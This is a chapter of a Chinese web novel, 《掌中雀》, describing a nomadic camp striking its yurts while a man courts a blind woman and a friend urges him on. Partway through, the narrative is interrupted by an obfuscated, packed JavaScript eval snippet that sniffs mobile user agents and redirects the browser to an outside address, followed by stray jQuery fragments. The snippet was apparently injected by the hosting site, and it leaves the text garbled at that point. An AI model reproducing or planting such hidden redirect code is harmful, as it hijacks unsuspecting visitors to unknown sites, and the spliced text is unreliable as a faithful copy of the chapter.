75.第 75 章

作品:《掌中雀

    动迁之日很快到来,众人将毡房里的所有器具粮食搬在空地上,紧接着将围毡剥离,露出内侧柳木编织出菱形花样的哈那。


    大毡包所用哈那多达八个,既可伸缩调整高度,也可收紧排布宽度。


    这样的东西,便是曾经的祈令夷也不曾见过,他情不自禁上前抚着柳木,感慨道:“的确聪明,如此轻便的结构方便取放,更便于运输。”


    巴图已经踩着木梯上了棚顶,听他在下面的声音,招手叫他上来。


    远观毡包顶部尖耸,实在脚踏上去,因坡度不大倒是轻易站得住人。巴图在一边演示,将驼皮钉拆落,围拢中心的顶篷毡一片片揭下来,他顺势帮着将毛毡扯开扔到地面上去。


    脚下没了遮蔽,露出的椽木呈伞骨状,由中心向四周伸出,刚好搭在哈那的缺口处,一根一根排布整齐,规律而绚丽有种别样美感。


    他一边跟着巴图揭落篷毡,一边站在棚顶远观蜿蜒的碧蓝河水穿过绿野,云层在草原上缠缠连连的飘荡,低低垂在眼下,看着似乎触手可及。


    入目皆是美景,每转过一面都能望到天际山边,口齿间呼吸着干净纯澈的原野气息,好像他们这些渺小忙碌的黔黎有再多烦恼,在这片广阔的天地里都不值一提。


    “四哥,热不热?要不要喝水?”


    才忙了没一会儿,哪里需要这么殷勤伺候?


    他将视线下移,黑眸把站在毡包底下的两个小小身影囊括其中,阿真正仰着脑袋,带着红晕的脸蛋扯出个大大的笑颜,如此纯真质朴,叫与她对视的所有人,无法坐视不理。


    但她身边的那个端着托盘的女子,始终安静如一,甚至自来到这里多时,听着两人的对话半晌,亦是不曾施舍半寸目光上来。


    “阿真,水就不用了,帮我拿壶酒来吧!”


    他浅笑着,多日以来未曾有过的好脾气。


    阿真自然是乐呵呵的接下差事,连蹦带跳的去找酒壶,徒留下在原地行动不便的阿雅姐,端着盘盏,踌躇的换了个方向犹豫该往哪里走。


    见她当真没什么想同他说的,祈令夷忙张口将人拦下。


    “多日不曾说上话,再留一会儿!”


    她顿住脚步,回身抬了抬脸,像是让他有话快说。


    祈令夷有些无可奈何的抿嘴苦笑,自己的脾性也多是与人疏离,在这里相处的这么多天里,除了他的这位“好嫂嫂”,其他人连得他分寸目光都是勉强。


    而她却对自己避之不及,思量到这层,祈令夷索性直接坐在棚毡上,垂目瞧她白玉花瓣的半张秀面。


    “这些日子送去的肉食如何?还能入口吗?”


    吉雅两臂撑着不轻的托盘,微微有些乏力,听他问起也就照实回答。


    “鱼肉和牛肉还行,另一种怕是野山鸡?味道很怪,我不喜欢。”


    他闻言记在心里,又见她两臂颤颤就要将壶碗砸在地上的虚弱模样,跳下去替她解救出双手,把托盘搁在臂弯里,一臂端着。


    “山林附近的地方我全探过,能找到的飞禽不过只有山鸡有些嚼头。”


    他盯着远处山脚下的森黑密林,“林子里或许还有野猪,等我们迁到新址,架好毡包,我再去那处探探。”


    “你别去!”话还未说完,被她仓惶的一句打断。


    祈令夷瞧着她扇动的眼睫,意有所指的哦了一声,语调上扬宛如调笑。


    她果真在顷刻之间红了脑袋,两颊晕起的红云比朝暮霞色更甚斐丽。


    但即便被他瞧见窘迫,吉雅也绝不想他因为自己设身危险之地,“我吃上些什么都行,不用非要换着花样给我寻来肉食。况且我这些天来,不适也在减轻,如今已经能入口热食,不要再费心琢磨,也别自顾自的往林子里跑!”


    日光攀上斜空,金黄的光线照得人身上也暖洋洋的,吉雅在黑暗里久等不到他的回应,伸出手想去探探他是否还在近前。


    双臂刚前伸探了一步,他突兀的握住她的小臂,往前拽了一把。


    吉雅被迫向前跌了好几步撞在他胸前,双手抵在胸口,忽而触到那熟悉而又剧烈的心跳。


    扑通扑通,腾动不停,像是已经透过皮肉钻入她掌下,撒娇似的紧贴着她的手掌,要她听清楚此心为谁雀跃。


    吉雅被这股炙热烫到似的撒了手,却很快被他捉住又重新按在胸膛上。


    “我这不中用的心,因为你的一句话就如此这般,难以招架。你说,我又如何才能远离你?”


    她根本不想听他肺腑之言,生怕自己听得多了,不知道什么时候又软了心肠,将如今这个焕新的他全然接受。


    她推拒着,也不管对方会不会因此受伤,惶恐的将手腕死拧着。他唯恐伤了她,不敢紧握,被她轻易钻出手掌,连连后退,避出五六丈远。


    “我……我不能!”


    断断续续的念着,像是为自己如此抗拒找的借口,又像是自我赌咒,拼命催眠自己绝不能行差踏错。


    看她慌不择路逃跑的狼狈身影,站在原地的男人似乎因此瞧出了什么。


    他忽而松了口气,将托盘搁在地上爬上棚顶。


    篷毡都已经揭落下去,巴图正在把椽木一根一根递下去,给下面的脱里接住,那边三两个人互相帮衬着已经将围毡装在车上,正在收拾剩下的杂物。


    祈令夷默不作声的过去,跟着他一起手脚轻快的卸掉椽木。


    巴图却在这时停下来,抹了把汗,突然凑上前蹲在他身边。


    “又没说好?”


    前言不搭后语的突兀来了这么一句,祈令夷也没抬眼,脚下用力一翘将搭在中间的松木支起一头,他掐着一边招呼底下脱里,神色如常的回了句。


    “说什么?不过是下去喝了点水。”


    见他不打算直言,巴图也不勉强,但碍于草原上的莽直性子,他有话就说,也不打算藏着掖着。


    “我知道你不愿意多说,但是你和阿雅应该不是这里人吧?你俩的面皮太白,我们这边风吹日晒的,少有你们这种瓷娃娃似的脸!”


    他边说边笑,视线专注在拆解松木上,也不管他面色如何。


    “既然来了,住下,就是一家人!我知道你怎么看阿雅,我也一样看我的古兰,所以瞧你们第一眼就知道你俩怎么回事。”


    祈令夷盯着他宽厚的肩膀,见巴图动作流畅毫无停顿,看上去完全没有对此事的嫌恶,他眼睛转了一圈思量着开口。


    “那巴图大哥觉得我应该怎么做呢?”


    巴图终于听到他承认,呵呵的张着嘴,傻笑快咧到耳朵根去了。


    “在你们那或许是大事,但在草原上,凡是有意的男女不用顾忌那么多!两个人只要互相喜欢,草原上这么辽阔,没有人会议论你们的事。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271249|156156||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “况且,你那哥哥这么久都不回来,谁知道在外面是不是发生了什么意外。人的生命是很脆弱的,出去外面骑马说不准就要陷在沼泽里,或是叫野狼围住,或是叫灰熊追上,不知道什么时候就回不来了。”


    他说到这,思及他的身份又往回找补了下,“不是咒你哥哥会出事!我是说,你也有可能在什么时候遇到危险,要是那时候,回想自己这辈子没和喜欢的人牵过手,死也死得憋屈。”


    他仿佛从中想到什么,盯着远处的山峦忽而叹了一句。


    “我也该接我的妻子回来了,搬了毡房,她要是回来找不见我,一定会着急的!”


    祈令夷不知道如何接下他连串的惊人之语,但于他而言,受人非议从来都不是什么要紧事。


    要紧的是她的想法,自己就算不要脸面猛烈追求,她又会不会因周遭非议感到羞耻?眼见她面上无光还步步紧逼,那样的结果,不是他欲看到的。


    “多谢你!但是独我一人想通没用。”


    巴图转过来,看着他踩在梯上的背影萧瑟落寞,刚扯开的嘴角又缓缓收下去。


    女人家的心事是头等难事,他自己的都还没寻思清楚,更遑论如何指导他人。


    越愁这事越思念自家古兰,他想着,今日内把毡房扎好,明天早早的把人接回来,分别这么久,也不知道她有没有想自己。


    越念着这事越着急拆解,两人将棚顶拆干净,剩下的哈那用不着费劲,哈那的网眼通过驼皮钉固定,很轻易就能推到一起,两臂一扛就能抬走。


    主帐拆完,剩下的尽是一样的流程,倒是方便不少。


    很快整个营地都分类装好,在马车上系紧,巴图一个人骑着马在最前头引路,剩下的多是坐在后面的四架马车上,慢悠悠的跟着。


    祈令夷牵着马跟在最后面,和最后一辆马车一直保持着半臂的距离,她趴在毡毯堆上,脸色白里透青,显然是摇晃的车架叫她又不好受了。


    “不如坐在马上,叫四哥牵着马慢慢的走?”


    阿真见她这般也是于心不忍,毕竟阿雅姐本就不适,如此舟车劳顿,那张将将养起来的苍白面颊好似又要一路颓败下去。


    “上来吧!我握着缰绳,不会叫你跌下去。”


    吉雅听到你一言我一语的百般劝阻,也实在提不起劲来拒绝,被他引着下了马车,她站在坚硬的土地上,还时不时的发觉自己脚下松软。


    “我抱你上去。”他言与行同时发出,手掌穿过腋下轻易将她举了起来。


    吉雅好不容易趴在马背上,手里胡乱的也不知道抓什么好,被他强塞到手里一缕鬃毛。


    “马毛很厚,不用担心扯痛它。”


    他解释的多此一举,吉雅自马背上长大的女儿,骑马可算得上家常便饭,只是如今眼看不见,多了很多制约,不然她早就想骑着马好好跑上一圈。


    不过现在,还是乖乖听话的好。


    她攥着鬃毛轻抚它油润的脖子,一路向上抚摸着,刚刚触到脖颈底下,马甩着脑袋忽然弹了弹耳朵,吉雅正俯趴着被它猝不及防的弹到,愣了一下,而后发自内心的勾起唇角。


    她许久未曾如此笑了,什么也不想,单纯的,因为生活里的一点小事绽出笑颜。


    祈令夷忽而觉得,就算日后恪守本位毫不逾矩,若是能换得天天见到她笑,似乎也没那么难以接受。